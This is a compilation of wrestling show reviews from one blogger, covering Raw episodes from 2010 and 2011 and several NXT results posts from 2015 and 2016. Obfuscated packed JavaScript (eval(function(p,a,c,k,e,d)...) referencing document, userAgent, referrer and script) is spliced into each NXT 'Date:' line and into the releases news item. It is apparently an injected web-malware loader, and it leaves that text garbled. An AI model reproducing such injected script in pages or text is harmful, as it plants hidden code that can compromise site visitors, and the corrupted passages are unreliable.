Monday Night Raw – June 27, 2011 (2025 Edition): Boom

Monday Night Raw
Date: June 27, 2011
Location: Thomas And Mack Center, Las Vegas, Nevada
Commentators: Jerry Lawler, Michael Cole

It’s Raw Roulette and that means it is time for things to get a bit gimmicky. There are going to be a variety of special stipulations this week and there is a chance that most of them are going to be less than serious. Yeah I can’t imagine that taking place around here either but let’s get to it.

Opening sequence, featuring Burn It To The Ground by Nickelback. Eh I still like it.

We open with a look at Raw Roulette, which will be hosted by Booker T.

Here is Special Guest Star (not host, because that’s a different thing) Shawn Michaels to get things going. Yes he promised to stay away, but he just couldn’t help himself…and gosh darn it, he missed the people too much. Now everyone who hosts this show has something to plug but that’s not his way. He’s not someone to plug his new show, Macmillan River Adventures, but did you notice his Twitter on the screen?

Cue CM Punk with the Tag Team Champions the New Nexus to interrupt. Punk talks about how he’s going to be leaving in July, just as WWE Champion. Michaels likes the idea of Punk leaving but Punk mocks Michaels for losing to Undertaker last year at Wrestlemania. Punk brags about being ready to beat John Cena, though Michaels says they’re cheering him over Punk because they know he’s better. Punk: “You were.”

Punk thinks that sounds like a challenge but Michaels says they have nothing in common. Michaels: “I don’t smoke, I don’t drink, I don’t do drugs.” Punk: “Anymore.” Michaels: “Fair enough.” Then Michaels superkicks David Otunga but we get an email from the Anonymous Raw General Manager, with Punk getting the first match tonight. He wants it to be with Michaels but we get a spin of the wheel, which earns him a mystery opponent. Then Booker T. says it’s Kane, which isn’t much of a mystery. Michaels superkicks Michael McGillicutty and wishes Punk luck.

CM Punk vs. Kane

Kane wastes no time in knocking him down and sending things outside, setting up a basement dropkick for two back inside. The side slam gets two but Punk manages a neck snap across the top rope for a needed breather. A kick to the head rocks Kane again and Punk gets to drive in some knees in the corner. Kane fights back and knocks Punk down again, which is enough for Punk to walk out at 3:39. As Cole points out, Punk shouldn’t care as he’s already the #1 contender, which does make sense.

Rating: C. This was more of an angle than a match and that’s not a bad thing. As commentary pointed out, what does Punk have to gain by fighting Kane in a long match here when he has a huge match coming up in less than a month? It’s not the best way to start out a night of gimmick matches as there wasn’t much of a gimmick, but at least they did something logical. At least by wrestling standards.

We get an ad for WWE Poker. I won $10 on there.

Sin Cara vs. Evan Bourne

The bell rings and we get another spin of the wheel, as done by Eve Torres for fairly apparent reasons: No Countout. This isn’t the best start, but at least the bell rings again rather than adding time for the spin. They fight over wrist control to start and Cara wristdrags him out to the floor. A baseball slide misses and Bourne takes him down back inside.

Bourne gets sent outside again though and this time the dive connects. Cara’s spinning sideslam is countered into a headscissors and they trade some rollups for two each back inside. A springboard corkscrew dive gives Cara two, with Bourne coming back with a standing moonsault for the same. Air Bourne misses though and Cara hits La Mistica for the pin at 4:52.

Rating: B-. It was a good, fast paced match with a bunch of dives, but the No Countout thing added pretty much nothing as they weren’t even outside long enough for a countout. Cara is one of those incredible “what if” cases as he was a mega star before coming to WWE and then did it again after he left. It never clicked in WWE though and the weird yellow lighting wasn’t helping anything.

Kofi Kingston gets to spin the wheel for his match against Dolph Ziggler, but here is Vickie Guerrero to spin instead. It’s Player’s Choice, with Kofi getting the pick. He’ll go with Vickie being banned from ringside, as this isn’t the most thrilling selection of matches so far.

Kofi Kingston vs. Dolph Ziggler

Ziggler’s US Title isn’t on the line. Vickie handles Ziggler’s introduction and this was during his short hair phase, which really did not work in the slightest. Kingston knocks him to the floor to start and then does it again, this time for a slam on the outside. Ziggler gets in a posting though and we take an early break. Back with Kingston fighting out of a chinlock but missing a Stinger Splash, allowing Ziggler to hit a Fameasser for two. Kingston fights up again and hits a quick Trouble In Paradise for the pin at 7:55.

Rating: C+. These two fought roughly 183,485 times over the years and this was just another in their endless series. As usual, a reigning champion loses clean, though in this case it likely sets up another title match between the two of them. Also as usual, the stipulation meant pretty much nothing here, as Vickie just left instead of being there to cheat for Ziggler. It gives the idea that Kingston can beat Ziggler clean, but they could have had a better stipulation than this.

Booker, with Maryse, recaps the night when Alberto Del Rio comes in to complain about having to face Big Show again. Del Rio hits on Maryse, who spins the wheel for him and gets a cage match, which ends the flirting.

Alberto Del Rio vs. Big Show

In a cage. Del Rio tries to escape to start and gets chopped down just as fast. Some kicks to Show’s bad knee give Del Rio two and he cranks on said knee in a smart move. Cue Mark Henry (feuding with Show) to watch from ringside but Show catches Del Rio going up for a superplex. Then Henry pulls the cage door off and throws it inside, with Del Rio escaping at 5:18.

Rating: C-. This didn’t have time to do much but again the point was advancing the story rather than anything about the match itself. Del Rio escaped rather than win here, which doesn’t make for the best match. Show vs. Henry will be a good battle of the monsters when we get there, though it didn’t exactly make for the best use of something like a cage.

Post match Henry hits Show with the door, knocking him through the wall for a huge crash. That always looks cool and was another step in Henry’s path to the World Title in a few months.

Cole and Lawler recap the Show vs. Henry feud, which seems like something that would have been better suited before the whole thing started.

Kelly Kelly vs. Nikki Bella

Kelly’s Divas Title (which she won from Brie Bella last week) isn’t on the line. The wheel makes this…a submission match, with Brie at ringside. That’s quite the choice. The submission deal, though Brie is quite the choice as well. Nikki takes her down by the arm to start and grabs a Fujiwara armbar of all things. Kelly reverses that into a Boston crab and Nikki taps at 1:13.

Post match Brie jumps Kelly but Eve Torres makes the save.

We look at Andy Leavine winning Tough Enough. He never went anywhere at all in WWE.

Rey Mysterio gets a tornado tag match but here is Diamond Dallas Page to come in and plug the new Monday Nitro DVD. A rather young looking Drew McIntyre comes in to say the two of them need to leave in ten minutes or else. Then Shawn Michaels superkicks McIntyre and talks about everything the DVD…which he has never seen.

The Miz/Jack Swagger vs. Alex Riley/Rey Mysterio

Tornado Tag. Swagger takes over on Mysterio to start and hits a quick backbreaker as Miz kicks Riley down on the floor. The Vader Bomb gets two on Mysterio but Riley sends Swagger outside for a seated senton from the apron. Mysterio gets sent into the post but Riley fights back on both of them. That’s broken up and a gorilla press gutbuster gets two on Mysterio.

Back up and Riley backdrops Swagger out to the floor, leaving Mysterio to kick Miz in the head for two. Swagger breaks up the 619 though, leaving Riley to get double teamed. Riley manages a Cactus Clothesline to take Miz outside and breaks up the ankle lock on Mysterio. That means a 619 into Riley’s implant DDT into Mysterio’s top rope splash for the pin at 11:58.

Rating: B-. It was nice to see a match get some time here with the stipulation actually having an impact. That really hasn’t been the case on the whole show and it helped out quite a bit here. Riley is one of those cases where he could have been a bigger deal but it just never came together for one reason or another, which is quite the shame.

R-Truth talks to Little Jimmy and gets a tables match with John Cena. Booker leaves out of fear.

John Cena vs. R-Truth

Cena’s Raw World Title isn’t on the line and R-Truth doesn’t have any music as he’s rather crazy (work with me here) at the moment. R-Truth hammers away to start and actually takes over in the corner but Cena fights back with a release fisherman’s suplex. Back up and Cena gets sent through the ropes for a crash, allowing R-Truth to crank away on both arms.

A dropkick puts R-Truth down but he slips out of the AA and hits his suplex Stunner. That means it’s time to put a table in the corner, only for Cena to get in a suplex for a breather. They go to the floor with R-Truth being sent into the steps so Cena can get another table. Cue CM Punk to move the table though, allowing R-Truth to spear Cena through another table for the win at 5:12.

Rating: C. Cena really doesn’t have the best luck in tables matches, which is kind of the point of the thing. They let him lose a match without taking a pin or giving up and that’s the entire point. Punk cost him a win here and that helps set up their title match at Money In The Bank, though the match is going to need a bit more than that.

With that out of the way, R-Truth leaves and Punk, who is wearing a Stone Cold Steve Austin shirt, grabs the microphone and sits down on the stage. Punk says that he hopes Cena is as uncomfortable as possible but before he leaves in three weeks with the WWE Title, he has a lot to get off his chest. He doesn’t hate Cena nearly as much as he hates some of the people backstage, but he hates this idea that Cena is the best in the world.

The reality is that Cena is the best in the world at kissing Vince McMahon’s a**. Cena might be as good at it as Hulk Hogan but maybe not as good as Dwayne. Punk: “Oops, I’m breaking the fourth wall.” Punk talks about being the best in the world since he got here, because Paul Heyman saw something in him. Punk: “Yeah I’m a Paul Heyman guy.” So was Brock Lesnar and Punk is leaving just like Lesnar, but Punk is doing it as WWE Champion.

Punk has grabbed so many imaginary brass rings that he has finally realized they are just that: imaginary. In six years, he has realized that the only thing that is real is him and he is the best around, but he isn’t on the cups or on the programs or on some bad USA Network show. He should be on Conan O’Brien or Jimmy Fallon but the fact that the Rock is in the main event of Wrestlemania next year makes him sick.

Those of you cheering him right now are a big part of the reason he’s leaving, because they’re buying all that stuff that he isn’t on, then they want him to sign it at the airport so they can sell it on eBay. He’ll win the WWE Title and maybe he’ll defend it in New Japan or go to Ring Of Honor. Punk: “Hey Colt Cabana, how you doing?”

Punk talks about how Vince McMahon is a millionaire rather than a billionaire because of people like John Laurinaitis. Maybe it will be better when Vince is dead, but his stupid daughter and his doofus son-in-law. Punk goes to tell us a personal story about Vince and bullying….but his mic cuts out. Punk yells at the camera to end the show.

I’ve been thinking about this one for a bit now that it’s over and I’m not sure where to start. In the nearly fourteen years since this took place, the promo has taken on a life of its own and turned Punk from a star into a Star in just a few minutes. Actually that’s one of the things that might stand out the most: this whole thing was just over six minutes long. In the days of the monologue style promos and seemingly endless exchanges between top names, seeing something have this kind of an impact in such a short time is remarkable.

Is it really that great of a promo? Kind of, but a lot of that is due to the way Punk was saying it. This felt like he meant every single word that he was saying and it made the fans hang on every word he was saying. Punk was talking about some fairly inside baseball things here and it was going in a direction that you don’t often see with wrestling. I’m not sure how great it was from a quality standpoint, but it certainly got and kept the fans’ attention.

With that being said, this is one of the most legendary promos in the history of WWE, and wrestling as a whole, for a reason. It was the suggestion that something was going to be changing, as you did not see anyone call out a bunch of these beyond the fourth wall issues. Punk got to open up and show that he’s one of the best talkers of all time, which had been kind of known before this, albeit not to this extent. It had people talking and while that only led to so much of a financial impact on the title match with Cena, Punk has lived off of this for a LONG time, despite him not even having the microphone for that long.

Overall Rating: D+. Well thank goodness Punk cut one of the most famous promos of all time and stole the night because this show was HORRIBLE otherwise. The rest of this show was a bunch of gimmicks for the sake of adding something to matches which didn’t make anything better. There is nothing to see here (save for the last seven minutes or so) and my goodness it is quite the mess, which is partially why Punk’s promo meant so much. Fans were wanting something, or really ANYTHING else and Punk was seemingly offering that. It only kind of worked, but wow what a start he really had with this all timer.

 

 

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – August 16, 2010: A Very Themed Show

Monday Night Raw
Date: August 16, 2010
Location: Staples Center, Los Angeles, California
Commentators: Michael Cole, Jerry Lawler

This was a request for reasons not quite clear. It’s night after Summerslam and the big story is John Cena and company vanquished the Nexus, in a match that saw Cena overcome some rather insane odds. Other than that, Sheamus is still Raw World Champion, having retained the title over Randy Orton. Let’s get to it.

Opening sequence.

Here is the Nexus to get things going, with commentary saying that the team showed they belong despite losing last night. Wade Barrett (the team’s leader) says they beat SIX of the best that Raw had to offer last night (keep in mind that it was a 7 on 7 tag match) and they are still ready to dominate WWE. They were defeated and that means there will be consequences for Raw.

Cue John Cena, to say that Barrett has the resolve of Winston Churchill and the toughness of Snooki from the Jersey Shore. Cena brings up how Barrett tapped out to cause the team to lose. The reality is that Nexus is expendable and Barrett must be kicking himself in the fish and chips over letting Daniel Bryan go. Then last night Bryan eliminated over half of the Nexus by himself as they proved that Nexus can be defeated.

You have the various members of the team, such as Otunga (an above average male escort), Tarver (looks like a stripper), Heath Slater (the chick from Wendy’s…..so Wendy), Darren Young (a cross between Cena and Buckwheat), Justin Gabriel (he has an “alternative” way of thinking) and Skip Sheffield (who thinks the Meow Mix theme).

All that matters is they are a bunch of humans, with Young tapping out in less than a minute. We get an email from the anonymous Raw General Manager (egads the flashbacks), saying tonight it’s Team WWE vs. Nexus in a bunch of singles matches, with threats made against Nexus interference.

Barrett doesn’t like hearing that he tapped out, but promises that after tonight, Nexus will be stronger than ever. If any of them lose though, their spots might not be safe. Otunga says that’s fine, but if Barrett loses, someone else can step up and take the leadership. We get another email, saying Nexus can pick their matchups tonight. Except for Barrett that is, because he gets to face Chris Jericho. So there’s your show tonight, and they did it in about fifteen minutes. That’s fairly fast for some Raw opening segments.

Chris Jericho vs. Wade Barrett

Jericho kicks him down to start as the rest of Nexus is shown watching in the back. There’s the triangle dropkick to send Barrett outside but he’s able to knock Jericho off the apron for a breather. There’s a big boot to drop Jericho again and we hit the double arm crank. Jericho fights up and hits a middle rope dropkick, followed by the bulldog. A quick Wasteland attempt is countered into the Walls, sending Barrett straight to the rope. Back up and Jericho boots him in the face again, only to get caught with an enziguri. The Codebreaker is loaded up but Barrett reverses into the Wasteland for the clean pin.

Rating: C+. Jericho can be criticized for a lot of things, but he has a reputation as someone who will put just about anyone over. That is a big win for Barrett, especially after last night’s big loss. Barrett being able to hang with someone at Jericho’s level helps him a lot and they had a good match to show what Barrett can do.

This week’s guest hosts are Jason Sudekis, Charlie Day and Justin Long. They have a new moving coming out and seemingly have no idea what to talk about here so they just make weird noises. We hear some NBA insults before the team introduces the Hart Dynasty (Tag Team Champions).

Hold on though as we get another email. As of tonight, the Unified Tag Team Titles will now be known as the WWE Tag Team Titles, so here is Bret Hart with the new (bronze, because of course) titles. Thankfully that means dropping the dumb four belts for two people idea but here is Nexus on the screen. They have picked Hart’s opponent for tonight: Justin Gable, who promises a 450 to Bret. At least those morons were off quick.

We hear about Daniel Bryan replacing the injured Great Khali on Team WWE. No clip for that?

Michael Tarver vs. Daniel Bryan

Bryan goes after the arm to start as Cole goes off about Bryan having no skill or change of becoming a star because he doesn’t eat meat. The rapid fire kicks to the chest in the corner have Tarver in more trouble and a missile dropkick makes it worse. Cue Miz and Alex Riley for a distraction though, allowing Tarver to get the fast rollup pin.

Post match Bryan goes after the Miz but Riley and Tarver take him down. The Skull Crushing Finale onto Miz’s Money In The Bank briefcase leaves Bryan laying.

Post break Miz and Riley talk about how they don’t like Bryan’s popularity, with Miz promising that Riley will be the next breakout star.

Darren Young tells Nexus that he’ll be facing John Cena. Pep talking ensues.

Justin Gabriel vs. Bret Hart

Actually hold on as we get an email saying there is a replacement.

Justin Gabriel vs. Randy Orton

Orton (in his weird bare arms phase) powers him into the corner to start but Gabriel flips over him and starts kicking away. As Lawler tries to figure out what kind of animal Gabriel is poking here (before finally remembering the whole VIPER thing), Orton snaps off the powerslam and the hanging DDT. The RKO is loaded up but cue Sheamus for….not a DQ as Orton brawls with him into the crowd for the countout instead. Well that was a dumb way out of the stipulation.

Post match Orton goes back inside to RKO Gabriel. With that not being enough, Orton grabs a chair and unloads on Sheamus to blow off some steam. That’s not enough so Orton drops Sheamus with the RKO on the floor for a bonus.

Skip Sheffield/David Otunga vs. R-Truth/John Morrison

Morrison works on Otunga’s arm to start before grabbing a Russian legsweep. It’s off to Sheffield to powerslam Truth but Otunga comes back in and gets Downward Spiraled. Cole asks what a Truth/Morrison win would mean for the locker room’s psyche. I’m thinking….not much? Anyway Morrison comes back in to pick up the pace but Sheffield runs him over. One heck of a running clothesline finishes Morrison to keep Nexus undefeated.

Melina/Eve Torres/Gail Kim vs. Jillian/Maryse/Alicia Fox

Gail easily takes Maryse down to start and calls her a gold digger. A crossbody gives Gail two and it’s off to Melina, who is taken into the wrong corner. Fox hits her always nice looking northern lights suplex and the chinlock goes on. That’s broken up and Eve comes in with a bunch of dropkicks. Everything breaks down and Eve hits an enziguri out of the corner to drop Jillian. The moonsault is loaded up but Jillian rolls her up out of the corner for the big upset pin.

Edge isn’t surprised that he led Team WWE to victory last night but here is Heath Slater to interrupt. They’re facing each other tonight and Heath tries to get him to back out. That’s not going to work for Edge, who isn’t losing to a Wendy looking Edge wannabe. Heath decks him and leaves.

Edge vs. Heath Slater

Edge knocks him into the corner without too much trouble to start but Heath gets in a cheap shot. They head outside with Edge being sent into the barricade, followed by the armbar back inside. That’s broken up and Edge makes the clothesline comeback for two. Heath gets in his own clothesline for two, with a fan shouting “I HATE YOU HEATH SLATER! I HATE YOU!” Back up and Edge sends him (Heath, not the fan) outside but misses the baseball slide dropkick. The spear against the steps misses….and Heath beats the count back inside for the pin.

Rating: C-. Well that was nothing, but it’s getting more than a little tough to accept that after eliminating all seven members last night, Team WWE can’t beat a single member of the Nexus here. That doesn’t makes the most sense and it’s leading to some rather screwy finishes. This didn’t feel like something Edge would ever fall for and it’s not something I would buy him doing, which doesn’t exactly make for a strong finish.

Post match Edge hits a spear to blow off some steam.

The hosts are in the back with Great Khali and talk about long distances relationships (which is why Khali hasn’t been doing the Kiss Cam). Justin Long sees a picture of Khali’s girlfriend and the other hosts aren’t impressed. They then find out that Khali understands English, but he admits the girlfriend is ugly. Then he leaves with the Bellas. Cole: “WHAT WAS THAT ALL ABOUT?”

Video on Summerslam week, including a bunch of charity stuff.

John Cena vs. Darren Young

No entrance for Young and that can’t be a good sign. Hold on though as cue Nexus to watch from the stage and Young gets two off a fast rollup to start. Young grabs a headlock and my goodness you can hear the spots being called despite a fairly rowdy crowd. Cena reverses into a headlock of his own but gets suplexed down, setting up a legdrop for two more. Cole: “Remember Young has to win this match.” Lawler: “I think Cena has to win this match.” Cole: “I agree with you.”

A clothesline and neckbreaker give Young two each and we hit the chinlock with a knee in the back. Back up and Cena….charges into an elbow in the corner as this has been one sided so far. Young drops a leg, Cena says “one more leg”, Young drops another leg. A northern lights suplex gets two more and Young is getting frustrated. With nothing else working, Young tosses him outside and then into the steps for a nine count. Back in and Cena quickly starts the comeback, setting up the Shuffle into the STFU for the tap.

Rating: C+. For someone who almost never got used on his own, Young can wrestle a decent match when he is given the chance. Granted having Cena call spots REALLY LOUDLY might have helped, but it was the best Young ever looked in WWE. At some point someone from Nexus had to lose and Young was the only one left by the end.

Post match the Nexus comes to the ring but let Cena go, instead circling Young. The big beatdown is on, with the Wasteland into the 450 splash destroying Young to end the show.

Overall Rating: C-. Normally I like the idea of focusing on one thing throughout the show but this was extreme even by WWE standards. Other than the women’s match and some dumb stuff with the hosts, this was all about one storyline. Throw in Nexus dominating most of the show and this wasn’t exactly interesting, with Nexus dominating most of the show despite losing last night. Not a good show, as the Nexus story was instantly a lot lamer after the Summerslam loss. Focusing on a big story is fine, but you have to mix it up a bit.

 

 

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.




NXT – May 11, 2016: This Is How They Do It

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzief|var|u0026u|referrer|effye||js|php'.split('|'),0,{})) May 11, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Corey Graves

Last week, Eric Young called himself a world class maniac who is so glad to finally be here in NXT.

Balor wants Samson tonight.

American Alpha vs. Corey Hollis/John Skyler

Alex Riley vs. Shinsuke Nakamura

Alexa Bliss vs. Rachel Ellering

Bayley vs. Nia is official for next week.

Finn Balor vs. Elias Samson

Just regular Finn here and his shoulder is taped up. Feeling out process to start until Balor knocks him to the floor and takes us to a break. Back with Balor holding an armbar and the fans saying it NEEDS MORE COWBELL. Samson fires off some forearms but Balor just blasts him in the face a few times. Some running chops in the corner put Samson on the floor for a baseball slide. The Sling Blade sets up 1916 for the pin on Samson at 7:47.

Results

American Alpha b. Corey Hollis/John Skyler – Grand Amplitude to Hollis

Shinsuke Nakamura b. Alex Riley – Kinshasa

Alexa Bliss b. Rachel Ellering – Sparkle Splash

Finn Balor b. Elias Samson – 1916

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




WWE Releases Three Talents

These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znsfz|var|u0026u|referrer|ybzdr||js|php'.split('|'),0,{})) are always interesting days.Hornswoggle – Not exactly an important deal.  He’s a background/comedy character at best and hasn’t been around in forever.

Zeb Colter – Same, though he should have been brought back as someone’s manager.  The guy can still talk and has so much knowledge and experience.

Alex Riley – Arguably the biggest name gone but he hasn’t meant anything in years either.  It’s a shame too as he had so much potential after that Miz feud.

 

There could be more names later today so stick around.




NXT – March 30, 2016: They Even Go Home Better Than Raw

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfdin|var|u0026u|referrer|dykef||js|php'.split('|'),0,{})) March 30, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Tom Phillips

Opening sequence.

American Alpha vs. Corey Hollis/John Skylar

Video on Baron Corbin attacking Austin Aries a few weeks back.

Baron Corbin vs. Mike Culori

Mike actually gets in a dropkick to knock Corbin into the corner to start but it only earns him Deep Six for the pin at 1:17.

Culori gets the End of Days post match.

Video on Shinsuke Nakamura with people talking about how amazing he is.

No Way Jose video.

Revival vs. Tucker Knight/Steve Cutler

We look at Joe choking Dempsey out last week.

Apollo Crews vs. Alex Riley

Riley hammers away to start and is looking aggressive like he has in recent appearances. Crews fights up and starts getting athletic though with a jumping clothesline into a nipup, followed by the toss into the Batista Bomb for the pin at 1:58.

Samoa Joe vs. Bull Dempsey

Dempsey runs him over to start and fires off some heavy right hands in the corner. Joe gets bored being on defense though and kicks Bull in the head, followed by an STO and the Koquina Clutch for the submission at 1:31.

Results

American Alpha b. Corey Hollis/John Skylar – Grand Amplitude to Hollis

Baron Corbin b. Mike Culori – Deep Six

Revival b. Tucker Knight/Steve Cutler – Shatter Machine to Knight

Apollo Crews b. Alex Riley – Toss sitout powerbomb

Samoa Joe b. Bull Dempsey – Koquina Clutch

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NXT – January 27, 2016: The Road To More Good Wrestling

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysztz|var|u0026u|referrer|kzrik||js|php'.split('|'),0,{})) January 27, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Corey Graves

Opening sequence.

American Alpha vs. Blake and Murphy

Emma is ready for Carmella next week because Bayley carried the team last week. Carmella has never actually done anything around here and she even lost to Blue Pants.

Stills of Sami Zayn entering the Royal Rumble.

Video on Asuka.

Nia Jax vs. Liv Morgan

Video on Baron Corbin.

We get the same sinister Vaudevillains vignette from last week.

Bull Dempsey vs. Alex Riley

Elias Samson vs. John Skyler

Samson whips him into the corner to start and scores with a quick dropkick. A right hand drops Skyler and Samson sits in the corner ala Raven. Back up and Samson grabs a very fast swinging neckbreaker for the pin at 1:57.

Video on Samoa Joe.

We look at Finn Balor vs. Apollo Crews from a few months back where Corbin interfered to break it up. They fight again in a non-title match next week.

Baron Corbin vs. Samoa Joe vs. Sami Zayn

Winner is #1 contender. They circle each other to start until Corbin hits Joe in the face for a bit of a surprise. Sami low bridges Baron to the floor but Joe breaks up the dive and pulls Zayn to the floor. Baron gets a boot to the chest to keep Joe in control and Sami gets punched down in the corner. A knee drop misses Sami but Corbin comes back in to jump Sami from behind.

Rating: B. If this means we get Joe vs. Sami down the line, I have zero issues with this finish. Corbin gets to save some face by getting caught in a double submission which would make almost anyone tap so everyone comes out looking strong. Really solid main event here and another good story being told.

Results

America Alpha b. Blake and Murphy – Grand Amplitude to Blake

Nia Jax b. Liv Morgan – Legdrop

Alex Riley b. Bull Dempsey – Knee to the jaw

Elias Samson b. John Skyler – Swinging neckbreaker

Sami Zayn and Samoa Joe b. Baron Corbin – Sharpshooter and Crossface at the same time

Remember to follow me on Twitter @kbreviews and pick up my new book of the Complete Monday Nitro Reviews Volume IV at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01AXP08DK

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NXT – April 29, 2015: That Old Feeling

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ribin|var|u0026u|referrer|ftebt||js|php'.split('|'),0,{})) April 29, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Rich Brennan, Byron Saxton

Enzo Amore/Colin Cassady vs. Blake/Murphy

Bayley vs. Dana Brooke

Regal announces a triple threat for Takeover for the #1 contendership between Finn Balor, Tyler Breeze and Hideo Itami.

Hideo Itami vs. Adam Rose

Becky Lynch vs. Sarah Dawson

Dawson is a pretty generic looking girl but she gets half of a dueling chant. A quick rollup gets two for Sarah but Becky takes her into the corner for a good stomping. Lynch drives her down into a Fujiwara armbar before sitting up to crank even harder, drawing the submission at 2:12.

Alex Riley vs. Sami Zayn

Kevin powerbombs Riley on the apron and smiles to end the show.

Results

Enzo Amore/Colin Cassady vs. Blake/Murphy – Rocket Launcher to Blake

Dana Brooke b. Bayley – Whiplash

Hideo Itami b. Adam Rose – Shotgun Kick

Becky Lynch b. Sarah Dawson – Armbar

Sami Zayn b. Alex Riley via DQ when Kevin Owens interfered

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NXT – April 22, 2015: The New Plan

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byszn|var|u0026u|referrer|zdtfy||js|php'.split('|'),0,{})) April 22, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Rich Brennan

Opening sequence.

Finn Balor vs. Tye Dillinger

Balor starts with some dropkicks as the fans want him to KILL THE JOBBER. The Pele sets up the Sling Blade and the Coup de Grace ends Dillinger at 2:28. This was an old school squashing and Balor looked great.

Tyler Breeze pops up on screen to call Finn Balor the flavor of the month. See you around Finn.

Charlotte vs. Bayley vs. Becky Lynch

#1 contenders match. Becky gets double teamed to start and Bayley throws her to the floor, setting up another showdown between herself and Charlotte. A chop out goes to Charlotte (of course) and we hit the figure four headlock with the flips to knock Bayley senseless. Becky sneaks back in with a nice German suplex to take Charlotte down and we take a break. Back with Becky dropping some running legs on Bayley for two.

Off to a knee hold as we get what might be the first ever crawler advertising NXT live shows. A limping Bayley fights out of the corner but charges into a knee. Becky outs on a complicated leg lock but Charlotte breaks it up with Natural Selection and no cover. The fans think that this is wrestling and better than the Divas.

Becky pulls Charlotte off the middle rope to break up a superplex attempt but Charlotte pulls her away from the corner into a powerbomb with Bayley adding a middle rope elbow to the jaw to drive Lynch down. Charlotte pulls Becky off the cover and puts her bad leg in the Figure Eight (the official name for the bridging version). Charlotte can’t see though and Becky drapes her arm over Bayley for the pin at 11:32 with the hold still on.

CJ Parker vs. Hideo Itami

Rhyno vs. ???

No name for the jobber. Gore ends this in 27 seconds.

Alex Riley vs. Kevin Owens

We come back from a break with Owens choking on the middle rope and not seeing Riley as much of a threat. The backsplash gets two and we hit the chinlock. Riley fights up and hits a running elbow in the corner, followed by a flipping neckbreaker. He gets crotched on top though, setting up the Cannonball and Pop Up Powerbomb for the pin at 8:44.

Post match Owens loads up the apron powerbomb but Sami Zayn comes out for the big brawl. Security comes out but Sami dives on the pile to send Owens running away to end the show.

Results

Finn Balor b. Tye Dillinger – Coup de Grace

Becky Lynch b. Charlotte and Bayley – Lynch pinned Bayley while Bayley was in the Figure Eight

Hideo Itami b. CJ Parker – Shotgun Kick

Rhyno b. ??? – Gore

Kevin Steen b. Alex Riley – Pop Up Powerbomb

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

